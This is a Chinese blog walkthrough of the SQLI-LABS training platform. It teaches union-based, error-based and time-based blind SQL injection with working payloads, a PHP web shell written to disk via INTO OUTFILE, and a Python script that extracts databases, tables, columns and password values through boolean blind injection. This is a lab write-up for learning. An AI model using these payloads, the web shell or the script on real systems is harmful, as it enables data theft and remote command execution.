《SQLI-LABS》 一口气全念对---慢慢更(21.02.09)

本文深入探讨了SQL注入的概念、检测方法和利用技巧,包括经典的注入点判断、数据库信息收集、联合查询以及报错注入。通过实例展示了如何通过注入获取数据库名、表名、字段名,并进行数据读取甚至文件操作。同时,文章提供了SQL注入实战平台SQLI-LABS的多个练习题解析,帮助读者巩固理解。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

前言

别忘记填坑
请记住添加mongndb数据库注入和json注入
判断数据库数量
SELECT * FROM users WHERE id=‘1’ and if((select count(*) from information_schema.schemata having count(schema_name))=‘12’,sleep(2),0);

从注入到删库
如何成为人形SQLMAP?

请花点时间,看看着令人厌烦的基础吧

根据远古方法,判断有无注入点?
?id=1 and 1=1 正常
?id=1 and 1=2 报错
?id=1 or 1=1 正常
?id=1 or 1=2 报错
?id=1 xor 1=1 正常
?id=1 xor 1=2 报错
|| && 可以代替or 和 and
要了解注入的产生是什么?
select a from b where id = “$id”;
$id是我们输入的变量,只要这个变量是我们输入控制的(数据存在交互的地方)都有可能存在注入
我们可以输入“乱七八糟的参数值”,来查看页面的返回内容进行判断
select a from b where id = “乱七八糟的数值”; 来查看返回的内容


常用函数:

当前用户名 :user()

当前数据库名称 :database()

information_schema为数据源 5.0以上存在

table_schema数据库名,table_name表名,column_name字段名

当前数据库版本:version()

操作系统 @@version_compile_os

逐一进行查询limit 0,1


存在注入点之后,手工注入的基本流程:
在这里插入图片描述

1.首先要猜解字段数量
select a,b,c from d where id = “$id”;
这里网站数据库查询语句中查询字段数量为a,b,c三个,后面使用联合查询也要对应三个字段
$id=-1" union select 1,2,3 --+
select a,b,c from b where id ="-1" union select 1,2,3 --+
2.开始基本的信息收集,例如数据库版本、系统版本、当前数据库名称等
使用上述常用函数进行查询
select a,b,c from d where id = “-1” union select 1,group_concat(user()),3 --+
3.使用information_schema数据库中tables表和columns表进行相关查询
select a,b,c from d where id = “-1” union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database() --+
4.获取想要的信息后进行针对查询
select a,b,c from d where id = “-1” union select password from users --+

跨库注入:要求当前用户权限较高
information_schema.schemata 下 chema_name 所有的数据库名

文件操作:
前提是要知道文件的绝对路径
如何获取文件路径:
1、报错信息 inurl:.edu warming
2、inurl:phpinfo.php
3、平台的配置文件
4、爆破
load_file(C://1.txt);读取
into outfile或者 into dumpfile
select ‘1’ into outfile “C://1.txt”;
https://blog.csdn.net/weixin_30292843/article/details/99381669



一、Page-1

1.Less-1

添加双引号无报错
在这里插入图片描述
使用单引号回显错误
在这里插入图片描述
猜测字段数
order by 3
在这里插入图片描述
union select 1,2,3
在这里插入图片描述
获取当前数据库名
在这里插入图片描述
当前数据库中的表名
在这里插入图片描述
查询users表中字段名
在这里插入图片描述
查询username和password
在这里插入图片描述

2.Less-2

先找到闭合字符
sql语句: s q l = " S E L E C T ∗ F R O M u s e r s W H E R E i d = sql="SELECT * FROM users WHERE id= sql="SELECTFROMusersWHEREid=id LIMIT 0,1";
构造poc:
“SELECT * FROM users WHERE id=-1 union selcet 1,2,3 LIMIT 0,1”
这里猜字段也可以orderby一下
在这里插入图片描述
查看当前数据库
http://192.168.206.128/sqli-labs/Less-2/?id=-1 union select 1,group_concat(database()),3 --+
在这里插入图片描述
查看当前数据库的表
http://192.168.206.128/sqli-labs/Less-2/?id=-1 union select 1,group_concat(table_name),3+from+information_schema.tables+where+table_schema=database() --+
在这里插入图片描述
user表中存在那些字段
http://192.168.206.128/sqli-labs/Less-2/?id=-1 union select 1,group_concat(column_name),3+from+information_schema.columns+where+table_name=“users”–+
在这里插入图片描述
查询users表中用户名密码
http://192.168.206.128/sqli-labs/Less-2/?id=-1 union select 1,group_concat(username,";;",password),3+from+users±-+
在这里插入图片描述

3.Less-3

输入单引号报错提示’)
在这里插入图片描述
构造闭合并猜解字段
http://192.168.206.128/sqli-labs/Less-3/?id=-1’)+union+select+1,2,3±-+
在这里插入图片描述
数据库名-表名-字段
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

4.Less-4

调试闭合语句
http://192.168.206.128/sqli-labs/Less-4/?id=-1")+union+select+1,2,3±-+
在这里插入图片描述
步骤同上

5.Less-5

这里存在报错注入,可以看下十二种报错注入的方法
正常输入1显示登陆进去
在这里插入图片描述
输入123或者其他不存在的id没有显示
在这里插入图片描述
使用报错语句注入
http://192.168.206.128/sqli-labs/Less-5/
?id=-1’ and (select 1 from (select count(*),concat(user(),floor(rand(0)2))x from information_schema.tables group by x)a);±-+
在这里插入图片描述
将当前数据库中的表名逐个查询
http://192.168.0.112/sqli-labs/Less-5/?id=1’ and (select 1 from (select count(
),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 3,1),floor (rand(0)2))x from information_schema.tables group by x)a)±-+
limit 0,1 1,1 2,1 3,1
在这里插入图片描述
表名查字段
http://192.168.0.112/sqli-labs/Less-5/?id=1’ and (select 1 from (select count(
),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name=“users” limit 10,1),floor (rand(0)2))x from information_schema.tables group by x)a)±-+
limit 10,1和limit 11,1 找到username和passowd
在这里插入图片描述
users表中查看username和password
http://192.168.0.112/sqli-labs/Less-5/?id=1’ and (select 1 from (select count(
),concat(0x3a,0x3a,(select password from users limit 1,1),floor (rand(0)2))x from information_schema.tables group by x)a)±-+
http://192.168.0.112/sqli-labs/Less-5/?id=1’ and (select 1 from (select count(
),concat(0x3a,0x3a,(select username from users limit 1,1),floor (rand(0)*2))x from information_schema.tables group by x)a)±-+
username和password对应起来 limit 1,1
在这里插入图片描述
除了报错注入还可以使用延迟注入
猜解字符使用延迟来判断(DNSLOG可以加速但有先决条件)

6.Less-6

和第五题一样,只不过闭合采用双引号“
这里使用延迟注入测试
构造闭合
http://192.168.0.112/sqli-labs/Less-6/?id=1"+±-+
在这里插入图片描述
测试注入点 使用bp抓包来显示延迟
id=1 正常的延迟
在这里插入图片描述
使用sleep函数睡眠5秒
id=1"+and+sleep(5)±-+
在这里插入图片描述
用来判断的主要函数:
if(1=1,1,2) 1=1为真返回1否则返回2 用来做判断
在这里插入图片描述
length() 长度 判断数据库名、表名、字段的长度(长度)
substr() 截取字符串 substr(”123“,1,1)从123字符串中截取从第一位开始截取一位
ascii() 转换成ascii码进行猜解ascii爆破名称
count() 用来判断count(table_name) 当前数据库有几张表或者多少字段(个数)
判断当前数据库的名称的长度为8位
SELECT * FROM users WHERE id=“1” and if((length(database()))=8,sleep(5),2);
在这里插入图片描述
判断当前数据库的ascii码名
SELECT * FROM users WHERE id=“1” and if(ascii(substr(database(),1,1))=115,sleep(5),2);
在这里插入图片描述
获取当权数据库名称为
security
当前数据库有几张表
"+and+if((select+count(table_name)+from+information_schema.tables+where+table_schema+=+“security”)=4,sleep(5),2)±-+
在这里插入图片描述
根据数据库名称查看表
依次判断每张表的长度后进行ascii码的爆破
“and If(length((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1))=6,sleep(10),1)–+
第一张表是emails存在6个字符
在这里插入图片描述
在这里插入图片描述
确定表的长度,开始爆破表的ascii码值
" and If(ascii((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1))=101,sleep(10),1)–+
在这里插入图片描述
下面就是使用这种方式,库-表-字段、先确定长度在爆破ascii码

7.Less-7

这张图片给出提示,考察的是sql读写操作
into outfile是将查询结果导出在指定文件中
首先要清楚网站或者主机物理路径才能够写入shell并链接
在这里插入图片描述
在本地可以使用
show global variables like “%datadir%”; 查看当前路径
在这里插入图片描述
还要注意当前设置是否允许文件的读写
show global variables like ‘%secure_file_priv%’;
在这里插入图片描述
在my.ini中写入:
secure_file_priv=’’
重新数据库查看配置是否生效
在这里插入图片描述
使用select 1,2,3 into outfile ”“;
测试语句:
1’)) union select 1,2,’<?php @system($_POST["cmd"])?>’ into outfile “E:\phpStudy\WWW\sqli-labs\Less-7\1.php”–+
在这里插入图片描述
已经写入
在这里插入图片描述
命令执行
在这里插入图片描述

也可以使用经典套娃:
id=1’))+union+select+1,2,’<?php file_put_concat('2.php','<?php file_put_concat('3.php','<?php system($_GET['x']);?>’)?>’)?>’+into+outfile+'E:/phpStudy/WWW/1.php’±-+

8.Less-8

双引号的盲注
输入正确的id返回 You are in
输入错或者逻辑错误没有回显
使用and 1=1类似的布尔值进行猜解
可以使用sleep延迟
也可以编写脚本使用布尔值判断,遍历页面中是否存在you are in 的字样。

这一条语句,可以看到当前有12个数据库,我们需要足够的权限才能进行跨库查询。
’ and if((select count(*) from information_schema.schemata having count(schema_name))=‘12’,1,0) --+
在这里插入图片描述
写一个比较弱智的脚本跑吧
活生生的把面向对象的语言写成面向过程了

import requests
import sys
import http.client

baselenth = 0;
urlA = "";
zidian = ['database()', ];
# 如果有特殊符号自己添加到ziduan中

ziduan = [
    'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w',
    'x', 'y', 'z',
    'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W',
    'X', 'Y', 'Z',
    '1', '2', '3', '4', '5', '6', '7', '8', '9', '0',
    '~', '@','_'];

#ziduan = ['D','u','m','b','I','-','k','i','l','l','-','y','o','u','p','@','s','s','w','o','r','d','c','r','a','p','p','y','s','t','u','p','i','d','i','t','y','g','e','n','i','o','u','s','m','o','b','!','l','e','a','d','m','i','n','a','d','m','i','n','1','a','d','m','i','n','2','a','d','m','i','n','3','d','u','m','b','o','a','d','m','i','n','4'];
# 判断是否正确
flag = "You are in";
# 存放数据库数量
dbnum = 0;
# 存放当前用户名称
username = "";

# 获取当前页面的返回值用来布尔值判断
def pocload(poc, urlA):
    url = urlA + poc;
    #print(url)
    conn = requests.get(url).text;
    return conn;


# 1查询所有数据库数量
def alldbanum():
    start = 1;
    while (1):
        poc = "?id=1' and if((select count(*) from information_schema.schemata having count(schema_name))='" + str(
            start) + "',1,0) --+";
        if flag in pocload(poc, urlA):
            return start;
            break;
        else:
            start = start + 1;
            continue;


# 2查询当前用户名
def usernow():
    username = "";
    start = 0;
    while (start < 16):
        start = start + 1;
        for a in ziduan:
            poc = "?id=1'+and+if(substr(user()," + str(start) + ",1)='" + a + "',1,0)+--+";
            if flag in pocload(poc, urlA):
                username += a;
                break;
            else:
                continue;
    print(username);


# 3获取当前数据库长度
def databseslenth():
    start = 0;
    while (1):
        start = start + 1;
        poc = "?id=1' and if((select count(*) from information_schema.schemata)=" + str(start) + ",1,0)+--+";
        if flag in pocload(poc, urlA):
            return start;
            break;
        else:
            continue;


# 4获取当前数据库
def databasesname():
    datalenth = databseslenth();#调用获取当前数据库长度
    databasename = "";
    for a in range(1,datalenth):
        for b in ziduan:
            poc = "?id=1' and if(substr(database(),"+str(a)+",1)='"+b+"',1,0)+--+";
            if flag in pocload(poc,urlA):
                databasename += b;
                break;
            else:
                continue;
    return databasename;

#5当前数据库的表的数量
def datatablenum():
    start = 0;
    while(1):
        start = start + 1;
        poc = "?id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())="+str(start)+",1,0)+--+";
        if flag in pocload(poc,urlA):
            return start;
        else:
            continue;


#6获取当前数据库中每张表
def tablename():
    zongshu = datatablenum();#调用返回当前数据库所有表的数量
    tableneum = [[0 for a in range(2)] for b in range(zongshu)];#根据表的数量创建一个二维数组[表名,长度][表名,长度][表名,长度]

    for a in range(0,zongshu):
        length = 0;
        while(1):
            length = length + 1;
            poc = "?id=1' and if(length((select table_name from information_schema.tables where table_schema='security' limit "+str(a)+",1))="+str(length)+",1,0)+--+";
            if flag in pocload(poc,urlA):
                tableneum[a][1] = length;
                break;
            else:
                continue;
    a = [i[1] for i in tableneum];#6,8,7,5
    print(a)
    t = 0;
    name = "";
    tnum = zongshu;
    while(t < tnum):#
        print(t)
        for i in a:
            print(i)
            for j in range(1,i+1):
                print(j)
                for k in ziduan:
                    print(t,j,k)
                    poc = "?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit "+str(t)+",1),"+str(j)+",1)='"+str(k)+"',1,0)+--+";
                    if flag in pocload(poc,urlA):
                        name += k;
                        print(name)
                        break;
                    else:
                        continue;
            tableneum[t][0] = name;
            name = "";
            t = t + 1;
    for i in tableneum:
        print(i)


#7先判断有多少字段--逐个爆破字段名称
def coulmnsnum():
    a = 1;
    while(1):
        poc = "?id=1' and if((select count(column_name) from information_schema.columns where table_schema='security')="+str(a)+",1,0)+--+";
        if flag in pocload(poc,urlA):
           break;
        else:
            a = a + 1;
            continue;
    columnsnum = [[0 for i in range(2)] for a in range(a)]  # 二维数组[字段名,位数][字段名,位数][字段名,位数]*12
    start = 0;
    num = 1;
    while(start < a):
        poc = "?id=1' and if(length((select column_name from information_schema.columns where table_schema='security' limit "+str(start)+",1))="+str(num)+",1,0)+--+";
        if flag in pocload(poc,urlA):
            columnsnum[start][1] = num;
            num = 1;
            start = start + 1;
        else:
            num = num + 1;
    for i in columnsnum:
        print(i)
    start = 0;
    num = 1;
    colums = [i[1] for i in columnsnum];
    name = "";
    while(start < a):#0<12
        for i in colums:#2 8 2 7 10
            for h in range(1,i+1):
                for j in ziduan:
                    poc = "?id=1' and if(substr((select column_name from information_schema.columns where table_schema='security' limit "+str(start)+",1),"+str(h)+",1)='"+str(j)+"',1,0)+--+";
                    if flag in pocload(poc,urlA):
                        name += j;
                        break;
                    else:
                        continue;
            columnsnum[start][0] = name;
            name = "";
            start = start + 1;
    for i in columnsnum:
        print(i)

#8查找字段的值
def columnvale():
    #先输入单个字段名称 爆破个数
    columnname = input("单个字段名称\r\n");

    a = 1;
    while(1):
        poc = "?id=1' and if((select count("+columnname+") from security.users)="+str(a)+",1,0)+--+";
        if flag in pocload(poc,urlA):
            a = a;
            break;
        else:
            a = a + 1;
            continue;

    columnsnum = [[0 for i in range(2)] for a in range(a)]  # 二维数组[字段值,位数][字段值,位数]
    start = 0;
    num = 1;
    while (start < a):
        poc = "?id=1' and if(length((select "+str(columnname)+" from security.users limit "+str(start)+",1))="+str(num)+",1,0)+--+";
        if flag in pocload(poc, urlA):
            columnsnum[start][1] = num;
            num = 1;
            start = start + 1;
        else:
            num = num + 1;
    for i in columnsnum:
        print(i)
    start = 0;
    num = 1;
    colums = [i[1] for i in columnsnum];
    name = "";
    while (start < a):  # 0<12
        for i in colums:  # 2 8 2 7 10
            for h in range(1, i + 1):
                for j in ziduan:
                    poc = "?id=1' and if(substr((select "+str(columnname)+" from security.users limit "+str(start)+",1),"+str(h)+",1)='"+str(j)+"',1,0)+--+";
                    if flag in pocload(poc, urlA):
                        name += j;
                        break;
                    else:
                        continue;
            columnsnum[start][0] = name;
            name = "";
            start = start + 1;
    for i in columnsnum:
        print(i)
'''
# 判断每个数据的长度,前提要知道有多少个数据库
def length(dbnum):
    start = 1;
    dbnum1 = dbnum;
    for i in range(0, dbnum1):
        while (1):
            # ????????????????????????????????????????????????????????????????????
            poc = "?id=1'+and+if(length(select schema_name from information_schema.schemata limit " + str(
                i) + ",1)='" + str(start) + "',1,0)+--+";
            if flag in pocload(poc, urlA):
                print('第%d个数据库有%d字节' % i % start)
                break;
            else:
                start = start + 1;
                continue;


def databasename():
    for start in range(1, baselenth + 1):
        for a in ziduan:
            poc = "?id=1'+and+if((substr(database()," + str(start) + ",1)='" + a + "'),1,0)+--+";
            if flag in pocload(poc, urlA):
                wirte(a);
                break;
            else:
                continue;


def wirte(str):
    with open('f:/1.txt', 'a') as f:
        f.write(str)


def readd():
    f = open('f:/1.txt', 'r');
    str = f.read()
    print(str)
    f.close()
'''

if __name__ == "__main__":
    urlA = input("输入url(http://xxxx/sqli-labs/Less-8/)\r\n");
    alldbnum = alldbanum();#所有数据库的数量
    print("共有"+str(alldbnum)+"个数据库\r\n");
    unamenow = usernow();#当前用户名
    print("当前用户名:"+str(unamenow)+"\r\n");
    dbnamenow = databasesname();#当前数据库名称
    print("当前数据库名称:"+str(dbnamenow)+"\r\n");
    tablenum = datatablenum();#表数量
    print("共有"+str(tablenum)+"张表\r\n");
    alltablename = tablename();#每张表
    print("以下是表名:"+str(alltablename)+"\r\n");
    columnnum = coulmnsnum();#所有字段名称
    print("所有字段名称"+columnnum+"\r\n");
    columnvalue = columnvale();#字段值

9.Less-9

10.Less-10

二、Page-2

1.Less-1

三、Page-3

1.Less-1

四、Page-4

1.Less-1

该处使用的url网络请求的数据。


总结

提示:这里对文章进行总结:
例如:以上就是今天要讲的内容,本文仅仅简单介绍了pandas的使用,而pandas提供了大量能使我们快速便捷地处理数据的函数和方法。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值